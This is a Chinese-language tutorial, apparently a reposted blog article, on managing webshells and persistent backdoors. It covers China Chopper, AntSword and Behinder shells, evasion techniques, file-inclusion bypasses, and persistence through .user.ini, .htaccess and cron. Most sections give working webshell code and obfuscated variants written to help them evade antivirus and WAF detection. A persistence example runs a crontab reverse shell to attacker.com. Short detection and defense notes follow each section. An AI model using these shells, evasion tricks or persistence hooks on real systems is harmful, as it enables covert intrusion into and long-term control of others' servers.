關于Web安全:7. WebShell 管理與持久化后門

一、菜刀馬

菜刀馬(ChinaZ WebShell) 是一種與“中國菜刀(ChinaZ)”客戶端配合使用的 WebShell 木馬,廣泛應用于 Web 滲透測試中,主要使用 PHP/ASP/JSP 等語言編寫。

它的本質是一個一句話木馬,搭配專屬協議與客戶端通信,執行命令、讀寫文件、管理數據庫等操作。

1.1?菜刀馬核心結構(以 PHP 為例)

最基礎的一句話木馬:

<?php @eval($_POST['pass']); ?>

通信流程:

  1. 客戶端發送 HTTP 請求,POST 參數名為 pass

  2. 內容為 加密后的 PHP 代碼

  3. 服務端 eval($_POST['pass']) 解密并執行。

1.2?加密通信協議(菜刀專用)

數據傳輸流程:

  • 數據格式:

POST /shell.php HTTP/1.1
Content-Type: application/x-www-form-urlencodedpass=加密數據

默認密鑰算法(早期版本):

  • 通信內容一般使用簡單的 base64 加密 + RC4 加密

  • 客戶端可自定義通信密鑰,用于加密傳輸數據與命令。

1.3?菜刀馬功能(客戶端支持)

  • 文件管理(上傳/下載/編輯/刪除)

  • 命令執行(shell)

  • 數據庫管理(MySQL/MSSQL/Oracle)

  • 進程管理(部分 ASP 環境)

  • 遠程控制、反彈 shell

1.4?菜刀馬分類(按語言)

語言示例環境
PHP<?php @eval($_POST['pass']); ?>Apache/Nginx + PHP
ASP<% eval request("pass") %>IIS
JSP<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>Tomcat

1.5?菜刀馬部署流程

  • 找到上傳點或命令執行點。

  • 上傳 shell.php(或使用文件包含 LFI + php://input)。

  • 在菜刀客戶端添加目標:

    • 類型選擇 PHP

    • 設置連接地址

    • 輸入與馬子中一致的參數名(如:pass)

    • 設置通信密碼(用于加解密)

  • 連接成功后,即可進入圖形化 WebShell 管理界面。

1.6?菜刀馬免殺技巧

1)變量馬:

<?php $a = 'eva' . 'l'; $a($_POST['cmd']); ?>

2)異或加密馬:

<?php
$key = 'abc';
$data = base64_decode($_POST['d']);
for ($i=0; $i<strlen($data); $i++) {$data[$i] = $data[$i] ^ $key[$i % strlen($key)];
}
eval($data);
?>

3)POST 改為 COOKIE、GET:

<?php @eval($_COOKIE['p']); ?>

4)多層 base64 編碼 + eval 組合:

<?php eval(base64_decode($_POST['p'])); ?>

1.7?查殺與防御方法

檢測關鍵詞:

  • eval、assert、base64_decode、system、shell_exec 等。

  • 文件中大量 POST/Cookie 參數執行操作。

檢測 WebShell 特征:

  • 使用工具如 D盾、冰刃、神盾。

  • Yara 規則匹配。

防御思路:

  • 禁止 eval、assert 等高危函數(php.ini 中)。

  • 使用 WAF 攔截菜刀通信特征。

  • 檢查 Web 根目錄文件是否被新增或篡改。

  • 啟用 open_basedir、防止訪問非授權路徑。

1.8?WebShell 與菜刀通信抓包分析

抓包示例(請求):

POST /shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencodedpass=V29yZHByZXNzIHNoZWxsIGNvbW1hbmQ=

抓包示例(響應):

HTTP/1.1 200 OK
Content-Type: text/html執行結果內容(可能已加密)

1.9?示例:自寫兼容菜刀的 PHP 馬(模擬)

<?php
$key = "123456"; // 通信密鑰
function decrypt($data, $key) {$data = base64_decode($data);for($i=0; $i<strlen($data); $i++) {$data[$i] = $data[$i] ^ $key[$i % strlen($key)];}return $data;
}eval(decrypt($_POST['pass'], $key));
?>

可以在菜刀客戶端設置相同加密規則后連接該馬。

1.10 小結

項目內容
核心形式一句話木馬(eval($_POST['pass']))
通信協議自定義密鑰 + Base64 或 RC4 加密
配合工具中國菜刀(ChinaZ)
免殺方式變量馬、異或馬、COOKIE馬、多層編碼
檢測方式特征字符串、函數行為檢測、Yara、日志分析
防御手段禁止危險函數、文件完整性監控、WAF攔截

二、蟻劍馬

蟻劍(AntSword) 是一款開源的 WebShell 管理工具,支持多種語言(PHP/ASP/JSP/ASPX),功能強大且模塊化,支持插件系統,常用于 Web 滲透測試中。

蟻劍馬指的是配合蟻劍客戶端通信的 WebShell 后門代碼。與菜刀相比,蟻劍通信協議更新、更安全,使用 JSON 格式或 AES 加密。

核心原理與通信結構

核心機制:

  • 上傳一個后門 WebShell(PHP/JSP/ASP)

  • 設置連接參數(語言、密碼、路徑)

  • 客戶端通過 POST 請求發送加密命令

  • 后門解密并執行,返回加密結果

2.1?蟻劍馬結構(以 PHP 為例)

最簡單 PHP 蟻劍馬(明文版):

<?php
@eval($_POST['ant']);
?>

標準蟻劍馬(帶通信結構):

蟻劍支持多種加密方式,以下為其默認 AES 加密通信方式的 Shell:

<?php
$password = "ant";
$key = "abcdef0123456789"; // 16 字節 AES 密鑰
$data = openssl_decrypt(base64_decode($_POST[$password]), 'AES-128-ECB', $key);
eval($data);
?>

在蟻劍客戶端:

  • 設置密碼為 ant

  • 加密方式為 AES

  • 密鑰為 abcdef0123456789

2.2?蟻劍通信協議

通信內容結構:

  • HTTP POST 請求,參數名是你設置的密碼(如 ant

  • 值是 AES 加密 + base64 編碼后的 PHP 命令

  • 服務端接收后解密并執行

2.3?蟻劍馬的類型與區別

類型是否加密是否加密傳輸安全性
明文馬極易被殺毒
base64馬中等
AES馬(推薦)較強

2.4?蟻劍客戶端功能支持

  • 命令執行(Shell 控制臺)

  • 文件管理(上傳、刪除、修改、重命名)

  • 數據庫連接(支持 MySQL、MSSQL、Oracle)

  • 插件支持(編碼器、內存馬、權限維持)

  • 交互式終端(偽 shell)

2.5?蟻劍馬免殺技巧

方法一:變量馬

<?php $a = "eva"."l"; $a($_POST['p']); ?>

方法二:AES 加密(插件支持自動加密)

<?php
$key = '1234567890123456';
$data = openssl_decrypt(base64_decode($_POST['a']), 'AES-128-ECB', $key);
eval($data);
?>

方法三:混淆關鍵字

<?php
$func = str_rot13('rine'); // eval
$func($_POST['p']);
?>

方法四:隱藏在正常文件中(隱寫)

  • 插入到正常 PHP 文件末尾

  • 使用圖片偽裝(馬子改后綴為 .jpg 上傳)

2.6?查殺與檢測方式

工具檢測:

  • D盾

  • WebShell Detector

  • 神盾

  • 火眼

行為檢測:

  • 訪問頻率異常(頻繁 POST)

  • 某個文件頻繁調用 eval()、system()、shell_exec()

文件特征檢測:

  • 文件名異常(如 shell.php)

  • 文件體積過小

  • 非 UTF-8 編碼

  • 包含敏感關鍵詞(?如 eval($_POST)

2.7?防御建議

  • 禁用危險函數:eval、assert、system、exec、shell_exec、passthru

  • 對上傳文件做嚴格校驗(MIME 類型、擴展名、內容)

  • 開啟 WAF 攔截常見通信模式(尤其是 AES 模式 POST)

  • 使用文件完整性檢測(AIDE、Tripwire)

  • 配置 php.ini:

disable_functions = "eval,system,passthru,shell_exec,exec,assert"
open_basedir = "/var/www/html/"

2.8?與菜刀馬對比

項目菜刀馬蟻劍馬
通信協議自定義 RC4/Base64JSON + AES 加密
功能豐富但老舊更現代、插件支持強
安全性較低(免殺難)中高(通信加密更強)
開源程度私有完全開源
兼容性ASP/ASPX/PHP/JSPPHP/ASPX/JSP(支持廣)

2.9 小結

項目內容
核心上傳后門 + 加密通信 + eval 執行
推薦通信方式AES 加密模式(安全性好)
優點插件多、功能強、安全性高
缺點如果馬被提取,仍有被破密風險
檢測關鍵詞、函數行為、WAF 攔截、完整性檢測
免殺使用變量馬、AES 加密馬、偽裝文件等方式

三、冰蝎馬

冰蝎(Behinder)是一款國產高級 WebShell 管理工具,支持 PHP、JSP、ASP.NET 等語言,最大的特點是:

  • 全部通信加密(AES)

  • 采用動態類加載(Java Class)或內存加載

  • 可自動注入內存馬

  • 配合反序列化利用,實現無文件控制

冰蝎馬 ≠ 一句話木馬,而是一個具備完整通信協議和惡意代碼注入邏輯的高隱蔽性控制后門。

3.1?冰蝎的通信原理

核心特性:

  • AES 加密通信(CBC 模式)

  • 數據以 byte[] 傳輸

  • 客戶端和服務端都有通信模塊,使用自定義協議

冰蝎默認配置:

參數示例值
密碼rebeyond
AES 密鑰16 字節密鑰(由密碼派生)
加密方式AES/CBC/PKCS5Padding
數據編碼base64 -> byte[] -> AES -> base64

3.2?冰蝎馬結構(以 JSP 為例)

<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%
String k = "e45e329feb5d925b"; // AES 密鑰
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec skey = new SecretKeySpec(k.getBytes(), "AES");
IvParameterSpec iv = new IvParameterSpec(k.getBytes());
c.init(Cipher.DECRYPT_MODE, skey, iv);
byte[] data = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("payload")));
new java.lang.reflect.Method().invoke(data);
%>
  • 客戶端發送 AES 加密后的 Java 字節碼(Class)

  • 服務端解密,使用反射或 ClassLoader 加載執行

3.3?冰蝎馬的類型

類型描述
JSP 內存馬把惡意類動態加載進 JVM 內存
ASP.NET Webshell執行 .NET 編譯類的 byte[] 形式
PHP Shell用 base64+AES 加密的方式傳輸 PHP 代碼
Memory Shell(內存馬)Servlet/Filter/Listener 注入內存,持久駐留
ShellCode(CobaltStrike 聯動)提供反彈、注入、內存提權功能

3.4?冰蝎馬的優勢

優點說明
?完全加密通信無法直接抓包分析
?無文件落地(內存執行)對抗查殺強
?支持內存馬注入可實現持久化控制
?插件系統強大文件管理、數據庫、反彈 Shell、橫向移動
?多語言支持PHP、JSP、ASPX、Go 等

3.5?冰蝎免殺原理

冰蝎本身難免殺的關鍵有兩點:

通信加密:

  • 所有指令和數據都用 AES 加密,攔截器/WAF 難以提取明文特征

反射執行 + 動態類加載:

  • 加載字節碼類到內存,動態執行,不落地磁盤

無明顯關鍵詞:

  • 文件中幾乎沒有 evalsystem 等高危函數

3.6?查殺與檢測方式

行為檢測:

  • 請求量異常集中、訪問頻繁

  • 某 JSP/PHP 長時間駐留內存

  • 反射加載類的行為異常(ClassLoader 被調用)

文件掃描:

  • JSP 文件中存在 AES 解密器

  • 存在大量 byte[] 處理、base64 處理、cipher 調用

內存掃描(關鍵):

  • 使用開源工具,如:

    • MemoryShellHunter

    • 冰蝎查殺器

    • Sojson JSP 探針

    • 蟻劍聯合插件

3.7?防御建議

方法實施方式
WAF 檢測對 POST 請求體、AES 加密特征、classloader 調用進行分析
文件監控文件哈希、修改時間監控,JSP 代碼靜態分析
內存檢測使用 Java Agent、JVM Attach 檢測 Filter/Servlet 注入
禁止類加載反射限制調用 defineClassdefineClass0
最小權限原則限制 Web 用戶權限、防止寫入臨時目錄

3.8?實戰舉例:冰蝎 JSP 內存馬注入流程

  • 風險點上傳冰蝎 JSP Shell

  • 連接后注入內存馬(Filter型)

  • 刪除原始 JSP 文件(Shell 仍可用)

  • 冰蝎客戶端繼續連接,控制不掉線

  • 實現持久控制 + 橫向拓展

3.9?和蟻劍/菜刀對比總結

項目菜刀馬蟻劍馬冰蝎馬
通信協議明文/RC4AES/Base64AES-CBC
加密強度
是否落地可無落地(內存馬)
控制強度極強
檢測難度容易
插件功能普通豐富非常豐富
支持語言PHP/ASP/JSP多種多種 + 內存注入

3.10 小結

分類說明
核心原理AES 加密 + 類加載 + 內存注入
難點無明顯關鍵字、行為完全動態
檢測方法內存掃描、ClassLoader 檢測、JVM Hook
防御建議WAF + Host 安全 + 內存防護(Attach 檢測)

四、WebShell 免殺技巧

WebShell 一旦被上傳或植入,面臨安全軟件/防護系統的檢測(WAF、殺軟、規則引擎),尤其是:

檢測方式舉例
特征匹配eval($_POST['a'])system($_GET['cmd'])
正則識別可疑函數、短變量名、長 POST 數據
行為檢測非標準請求、反射加載、動態函數名執行

為此,需要對 WebShell 做“變形”處理,變得 更隱蔽、更分散、動態執行,從而達到免殺目的。

4.1?變量馬(變量函數執行)

原理:將危險函數(如 evalassertsystem 等)用變量名間接引用執行,避免靜態特征命中。

示例代碼(PHP):

<?php
$a = 'assert';
$b = $_POST['cmd'];
$a($b); // 等價于:assert($_POST['cmd']);
?>

或者混淆變量名:

<?php
$func = "eva" . "l"; // 拼接
$func($_POST['cmd']);
?>

常見變體:

技術示例
函數名拼接$f = 'sy'.'stem'; $f($_GET['cmd']);
參數名偽裝$b = $_POST['config']; $f($b);
動態執行方式call_user_func($f, $b);

優點:

  • 對抗靜態特征匹配(如 WAF 檢測規則)

  • 躲避代碼審計工具

  • 邏輯簡單,穩定易用

缺點:

  • WAF/EDR 可結合語義分析檢測

  • 仍易被人工審計識別

4.2?異或馬(加密執行)

原理:使用異或、base64、hex 等方式將真實 Payload 加密,運行時解密后執行,可實現弱加密 + 動態執行。

示例代碼(異或):

<?php
$key = 'k'; // 異或密鑰
$data = $_POST['data'];
$code = '';for ($i = 0; $i < strlen($data); $i++) {$code .= $data[$i] ^ $key;
}eval($code);
?>

客戶端執行:

// 客戶端示例:將命令異或后 POST 發送
$payload = "phpinfo();";
$key = 'k';
$xor = '';for ($i = 0; $i < strlen($payload); $i++) {$xor .= $payload[$i] ^ $key;
}echo base64_encode($xor); // -> POST 到 WebShell

常見加密方式:

方法說明
base64eval(base64_decode($_POST['cmd']));
str_rot13eval(str_rot13($_POST['code']));
gzuncompresseval(gzuncompress(base64_decode(...)))
異或加密for 循環 + eval
RC4 自定義實現加密強度更高,繞過率更強

優點:

  • 躲避字符串特征匹配

  • 運行時解密,提高動態隱蔽性

  • 可寫成多層加密(套娃式免殺)

缺點:

  • 性能略低

  • 高級查殺軟件可解密還原(如 D盾、冰刃)

4.3?變量馬 + 異或馬(組合型)

示例:

<?php
$func = "as" . "sert";
$k = 'x';
$data = $_POST['data'];
$code = '';for ($i = 0; $i < strlen($data); $i++) {$code .= $data[$i] ^ $k;
}$func($code);
?>

特點:

  • 函數名繞過(變量拼接)

  • Payload 加密(異或)

  • 解密后執行(動態執行)

這種組合馬免殺率非常高,很多初級檢測工具和規則完全看不出來。

4.4?其他免殺技巧補充

技巧示例
自定義函數function go($x){eval($x);} go($_POST['cmd']);
使用 call_user_func()call_user_func('eval', $_POST['x']);
使用 array_map()array_map('assert', [$_POST['cmd']]);
拼接危險代碼再執行$x = 'ev'.'al'; $x($_POST['cmd']);
使用 preg_replace('/.*/e', ...)已廢棄,但歷史代碼中常見

4.5?免殺效果評估建議

本地測試工具:

工具用途
D盾靜態掃描常見木馬特征
冰刃行為檢測、進程通信監控
PhpStorm 插件可做代碼審計和語義分析
手動逆向分析解密異或/多層加密馬
YARA寫規則對比函數調用/語義特征

總結免殺技巧關鍵點:

項目說明
變量馬使用變量名代替敏感函數名執行
異或馬使用簡單加密隱藏真實 Payload
組合型將變量執行 + 異或加密組合使用
多層馬base64 + 異或 + 函數拼接 + gzip 疊加免殺
行為偽裝添加正常邏輯、頁面元素、變量名混淆

五、文件包含與加載繞過

5.1?基本概念:文件包含

文件包含是指服務端在執行某個腳本時,通過 PHP 函數如 include / require / include_once / require_once 動態加載另一個文件內容來執行。

include("shell.php");

攻擊者若控制了被包含文件的路徑或內容,就可以:

  • 執行惡意代碼(植入 WebShell)

  • 繞過 Web 應用主邏輯控制

  • 實現權限維持

5.2?常見加載方式及繞過技巧

1)利用弱類型變量包含(變量包含)

include($_GET['file']); // file=shell.php

如果沒有白名單校驗,可以直接傳入任意文件路徑。

繞過方式:

方法示例
路徑繞過file=../../../../../tmp/shell.txt
編碼繞過file=php://filter/convert.base64-encode/resource=shell.php
協議繞過file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+ (base64 編碼的PHP代碼)

2)利用偽協議繞過加載限制

PHP 支持很多“偽協議”,可用于執行、讀取非文件資源,比如:

協議用途
php://input讀取原始 POST 數據
php://filter對文件內容進行轉碼(如 base64 編碼)
data://執行 base64 編碼內容
zip://加載壓縮包內的 PHP 文件
expect://在某些環境中用于執行 shell 命令(常被禁)

示例:

include('php://input'); 

此時你可以通過 POST 提交任意 PHP 代碼:

POST /index.php
Content-Type: text/plain<?php eval($_POST['cmd']); ?>

服務器讀取 php://input,就執行了 POST 數據內的 WebShell。

3)使用 base64 + php://filter 繞過靜態檢測

include("php://filter/convert.base64-encode/resource=shell.php");

然后再將 base64 內容通過另一段代碼 eval(base64_decode(...)) 解析執行。

這個技巧可以:

  • 對抗 WebShell 特征掃描(D盾無法匹配原始內容)

  • 配合動態執行 payload

4)使用 data:// 協議內嵌馬

include("data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+");

等價于:

<?php system($_GET['c']); ?>

原始代碼經過 base64 編碼后被嵌入 URL 中,繞過上傳限制與查殺。

5.3?文件包含結合免殺使用方式

  • 主頁面只有一行加載代碼:
include('1.dat');
  • 1.dat 文件的后綴是 .dat,不會被安全設備識別為可執行 PHP 文件,但內容實際是加密的 PHP WebShell。

  • 解密過程通過主頁面來執行,例如:

$content = file_get_contents('1.dat');
eval(xor_decode($content));

這樣可以:

  • 把馬藏在任意后綴文件中(非 .php)

  • 通過加載解密后執行,達成隱蔽目的

5.4?上傳限制繞過 + 文件包含配合

在文件上傳限制中,若不能直接上傳 .php 文件,可以上傳 .jpg.txt 等文件:

  • 上傳:馬文件為 shell.jpg 內容為:<?php system($_GET['cmd']); ?>

  • 然后:用文件包含執行它

include('uploads/shell.jpg'); // 實際執行里面的 PHP 代碼

注意:服務器必須未禁用 PHP 的 short_open_tagallow_url_include,否則會失敗。

5.5?實戰技巧組合

目標技術組合
免殺WebShell 放在 .dat/.log,用 php://filterfile_get_contents 解密
隱蔽 include($a) 動態包含,路徑用 base64/異或加密
上傳繞過上傳偽后綴木馬(.jpg、.pdf),然后利用包含加載執行
單文件加載多個馬主文件中使用數組遍歷加載多個 payload 文件,實現多點控制

5.6?防御方的檢測方式

檢測點方法
靜態掃描查找敏感函數:include($_GET)eval(file_get_contents())
動態行為檢測檢測包含偽協議的行為,禁用 allow_url_include
WAF 規則識別 php://, data:// 等關鍵協議關鍵字
上傳控制限制上傳目錄執行權限 + 校驗內容頭部特征
審計分析加載鏈,發現隱藏的木馬入口文件

5.7 小結

點位描述
文件包含馬將惡意代碼放在非主馬中,通過 include 加載執行
偽協議加載使用 php://inputphp://filterdata:// 繞過常規檢測
文件偽裝將馬偽裝成 .jpg/.txt/.dat,再通過加載方式執行
加密加載WebShell 加密存儲,運行時解密加載執行,提升免殺性

六、后門維持權限的方式

為什么需要權限維持?

當攻擊者成功上傳 WebShell 或 RCE 后,并不意味著永遠控制了主機。管理員可能:

  • 殺掉進程 / 刪除文件

  • 關閉上傳風險點

  • 重啟服務清除環境

所以攻擊者會留下「隱蔽持久后門」以便未來再次進入

6.1?方式一:.user.ini 權限維持后門

.user.ini 是 PHP 的用戶級配置文件,專用于 CGI/FPM 模式。

使用方法:

可以寫入指令修改當前目錄或子目錄的 PHP 配置行為。

示例一:自動加載后門

payload:

.user.ini 中寫入:

auto_prepend_file = "shell.php"

意思是:在該目錄下的所有 PHP 文件執行前,都會先執行 shell.php

作用:

  • shell.php 中可以是木馬

  • 管理員刪除原始 WebShell 頁面也沒用

  • 你訪問任何頁面,木馬都先被執行了

示例二:加載隱藏木馬(結合免殺)

auto_prepend_file = "php://filter/convert.base64-decode/resource=hidden.dat"

然后 hidden.dat 是 base64 編碼的 WebShell。
這樣可以配合免殺進行隱蔽控制。

6.2?方式二:.htaccess 權限維持后門

.htaccess 是 Apache 的目錄配置文件,可以控制訪問邏輯、解析規則。

使用方式:

通過配置 .htaccess 強行讓非 .php 文件被當作 PHP 執行。

示例一:改解析規則

AddType application/x-httpd-php .jpg

意思是:讓 .jpg 文件當作 PHP 來執行。

然后你上傳一個名為 shell.jpg 的 WebShell,就能被執行。

示例二:隱藏 WebShell 路徑

RewriteEngine On
RewriteRule ^admin$ shell.php

訪問 /admin 實際會加載 shell.php,達成路徑偽裝效果。

6.3?方式三:計劃任務維持后門

系統級后門的一種方式,尤其用于 Linux 主機或擁有 root 權限的情況。

Linux 中使用 crontab 創建定時任務

crontab -e

添加:

*/5 * * * * php /var/www/html/shell.php

每 5 分鐘執行一次 WebShell。
哪怕管理員刪了 WebShell,計劃任務也可以:

  • 自動恢復上傳馬子

  • 下載遠程 payload

  • 或打開反彈 Shell

示例:反彈 Shell 恢復權限

*/10 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1
  • 每 10 分鐘給攻擊者服務器反彈一個 Shell

  • 保證你即使被踢也能重連回來

如果是 root 權限,還可以寫系統啟動項:

echo "@reboot php /var/www/shell.php" >> /etc/crontab

系統一重啟,你的 WebShell 又被加載回來。

6.4?其他持久化方法簡略一覽

方法簡介
修改系統啟動項寫入 /etc/init.d//etc/rc.local,開機自啟動 WebShell
數據庫后門在 MySQL trigger 或存儲過程插入反彈 Shell
PHP session 持久化將 WebShell 寫入 session 臨時文件
上傳木馬到計劃任務目錄比如寫入 /etc/cron.hourly/evil.sh
修改系統文件替換 /usr/bin/php 等工具,在使用中植入后門
遠程加載馬子留下一句話馬,加載遠程 payload,每次動態獲取馬體

6.5?配合其他技巧增強隱蔽性

  • .user.ini + 加密加載馬 + base64 編碼

  • .htaccess + .png 馬偽裝成圖片訪問

  • 計劃任務 + WebShell 自動恢復腳本

  • 上傳后門 + 文件包含動態執行 + XOR 加密馬體

6.6?防御角度:如何檢測和清理?

項目檢測方法
.user.ini查找是否有 auto_prepend_fileauto_append_file
.htaccess是否改了文件后綴解析或設置了 Rewrite
crontab查看 crontab -l/etc/cron* 是否有惡意任務
隱藏馬查日志 + 比對文件時間 + 殺毒工具(D盾、ClamAV)
開機啟動/etc/rc.localsystemdinit.d

6.7 小結

類型技術隱蔽性持久性風險
.user.ini自動加載馬
.htaccess文件偽裝 + 重定向
計劃任務定時恢復后門 / 反彈 Shell

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/907775.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/907775.shtml
英文地址,請注明出處:http://en.pswp.cn/news/907775.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【仿生系統】qwen的仿生機器人解決方案

收到完整需求后&#xff0c;我將從系統架構設計、算法實現路徑、訓練方法三個維度為您構建完整的仿生機器人解決方案。以下是分階段實施方案&#xff1a; 一、核心系統架構設計&#xff08;模塊化可進化架構&#xff09; 1. 多模態感知引擎 - 視覺子系統&#xff1a;YOLOv8SAM…

Tomcat- AJP協議文件讀取/命令執行漏洞(幽靈貓復現)詳細步驟

一、漏洞描述 Apache Tomcat是由Apache軟件基金會屬下Jakarta項目開發的Servlet容器.默認情況下,Apache Tomcat會開啟AJP連接器,方便與其他Web服務器通過AJP協議進行交互.但Apache Tomcat在AJP協議的實現上存在漏洞,導致攻擊者可以通過發送惡意的AJP請求,可以讀取或者包含Web應…

IEEE P370:用于高達 50 GHz 互連的夾具設計和數據質量公制標準

大多數高頻儀器&#xff0c;如矢量網絡分析儀 &#xff08;VNA&#xff09; 和時域反射儀 &#xff08;TDR&#xff09;&#xff0c;都可以在同軸接口的末端進行非常好的測量。然而&#xff0c;復雜系統中使用的互連很少具有同軸接口。用于表征這些設備的夾具的設計和實施會對測…

OneForAll 使用手冊

OneForAll 使用手冊 一、概述 OneForAll 是一款功能強大的子域名收集工具&#xff0c;旨在幫助安全測試人員和網絡管理員全面發現目標域名的所有子域名&#xff0c;為后續的安全評估和漏洞測試提供基礎支持。它集成了多種子域名發現方法&#xff0c;包括搜索引擎查詢、DNS 枚…

從前端工程化角度解析 Vite 打包策略:為何選擇 Rollup 而非 esbuild。

文章目錄 前言一、esbuild 與 Rollup 的技術特性對比&#xff08;一&#xff09;esbuild&#xff1a;極速開發利器&#xff0c;功能尚待完善&#xff08;二&#xff09;Rollup&#xff1a;專業打包工具&#xff0c;功能全面強大 二、Vite 打包策略的工程化考量因素&#xff08;…

Chrome 通過FTP,HTTP 調用 Everything 瀏覽和搜索本地文件系統

【提問1】 Chrome調用本地 everything.exe, everything 好像有本地 FTP 服務器&#xff1f; 【DeepSeek R1 回答】 是的&#xff0c;Everything 確實內置了 HTTP/FTP 服務器功能&#xff0c;這提供了一種相對安全的瀏覽器與本地應用交互的方式。以下是完整的實現方案&#x…

Java八股文智能體——Agent提示詞(Prompt)

這個智能體能夠為正在學習Java八股文的同學提供切實幫助&#xff1a;不僅可以幫你優化答案表述&#xff0c;還能直接解答八股文相關問題——它會以面試者的視角&#xff0c;給出貼合求職場景的專業回答。 將以下內容發送給任何一個LLM&#xff0c;他會按照你提示詞的內容&…

Android 緩存應用凍結器(Cached Apps Freezer)

一、核心功能與原理 1. 功能概述 目標&#xff1a;通過凍結后臺緩存應用的進程&#xff0c;減少其對 CPU、內存等系統資源的消耗&#xff0c;優化設備性能與續航。適用場景&#xff1a;針對行為不當的后臺應用&#xff08;如后臺偷偷運行代碼、占用 CPU&#xff09;&#xff…

內存管理 : 06 內存換出

內存換出的重要性及與換入的關系 現在我們講第25講&#xff0c;主題是內存的換出&#xff08;swipe out&#xff09;。實際上&#xff0c;上一講我們講的是內存的換入&#xff0c;而這一節聚焦于內存的換出。 換入和換出必須合在一起工作&#xff0c;不能只有換入而沒有換出。…

第一節 51單片機概述

目錄 一、單片機系統組成 &#xff08;一&#xff09;、單片機硬件系統 &#xff08;二&#xff09;單片機的軟件系統 二、STC89C52單片機 &#xff08;1&#xff09;、基本信息 &#xff08;2&#xff09;、命名規則 &#xff08;3&#xff09;、單片機內部結構圖 &am…

前端面試準備-4

1.React Router的history模式中&#xff0c;push和replace有什么區別 都是用于頁面導航&#xff0c;但是他們對瀏覽器歷史記錄的處理不一樣。 ①&#xff1a;push是在瀏覽歷史棧里加入一條新的瀏覽歷史&#xff0c;點擊返回鍵會返回上一個頁面 ②;replace是替換當前歷史記錄…

【機器學習基礎】機器學習入門核心:Jaccard相似度 (Jaccard Index) 和 Pearson相似度 (Pearson Correlation)

機器學習入門核心&#xff1a;Jaccard相似度 &#xff08;Jaccard Index&#xff09; 和 Pearson相似度 &#xff08;Pearson Correlation&#xff09; 一、算法邏輯Jaccard相似度 (Jaccard Index)**Pearson相似度 (Pearson Correlation)** 二、算法原理與數學推導1. Jaccard相…

Unity3D仿星露谷物語開發57之保存庫存信息到文件

1、目標 保存下面庫存欄中信息到文件中。 2、修改SceneSave.cs腳本 添加2行代碼&#xff1a; 3、修改InventoryManager對象 添加Generate GUID組件。 4、修改InventoryManager.cs腳本 添加繼承自ISaveable 添加屬性信息&#xff1a; private string _iSaveableUniqueID;pub…

測量3D翼片的距離與角度

1&#xff0c;目的。 測量3D翼片的距離與角度。說明&#xff1a; 標注A 紅色框選的區域即為翼片&#xff0c;本示例的3D 對象共有3個翼片待測。L1與L2的距離、L1與L2的角度即為所求的翼片距離與角度。 2&#xff0c;原理。 使用線結構光模型&#xff08;標定模式&#xff0…

深入理解 SQL 的 JOIN 查詢:從基礎到高級的第一步

在處理數據庫時&#xff0c;我們常常需要從多個表中提取數據。比如想知道一個城市的天氣情況&#xff0c;同時又想知道這個城市的具體位置。這就需要將 weather 表和 cities 表結合起來查詢。這種操作在 SQL 中被稱為 JOIN 查詢。 現在看下兩種表的情況 1.weather 表&#xff…

上傳頭像upload的簡易方法,轉base64調接口的

1.首頁使用el-image顯示數據&#xff0c;用的是轉base64后端返給的 <el-table-column prop"avatar" align"center" label"頭像"><template #default"scope"><el-image style"height: 40px;width: 40px;" :sr…

[AD] CrownJewel-1 Logon 4799+vss-ShadowCopy+NTDS.dit/SYSTEM+$MFT

QA QA攻擊者可以濫用 vssadmin 實用程式來建立卷影快照&#xff0c;然後提取 NTDS.dit 等敏感檔案來繞過安全機制。確定卷影複製服務進入運作狀態的時間。2024-05-14 03:42:16建立卷影快照時&#xff0c;磁碟區複製服務會使用機器帳戶驗證權限並列舉使用者群組。找到卷影複製過…

rtpmixsound:實現音頻混音攻擊!全參數詳細教程!Kali Linux教程!

簡介 一種將預先錄制的音頻與指定目標音頻流中的音頻&#xff08;即 RTP&#xff09;實時混合的工具。 一款用于將預先錄制的音頻與指定目標音頻流中的音頻&#xff08;即 RTP&#xff09;實時混合的工具。該工具創建于 2006 年 8 月至 9 月之間。該工具名為 rtpmixsound。它…

GitHub 趨勢日報 (2025年05月28日)

&#x1f4ca; 由 TrendForge 系統生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日報中的項目描述已自動翻譯為中文 &#x1f4c8; 今日獲星趨勢圖 今日獲星趨勢圖 2379 agenticSeek 1521 computer-science 841 n8n 577 langflow 351 qlib 282 skt…

threejsPBR材質與紋理貼圖

1. PBR材質簡介 本節課沒有具體的代碼&#xff0c;就是給大家科普一下PBR材質&#xff0c;所謂PBR就是&#xff0c;基于物理的渲染(physically-based rendering)。 Three.js提供了兩個PBR材質相關的APIMeshStandardMaterial和MeshPhysicalMaterial,MeshPhysicalMaterial是Mes…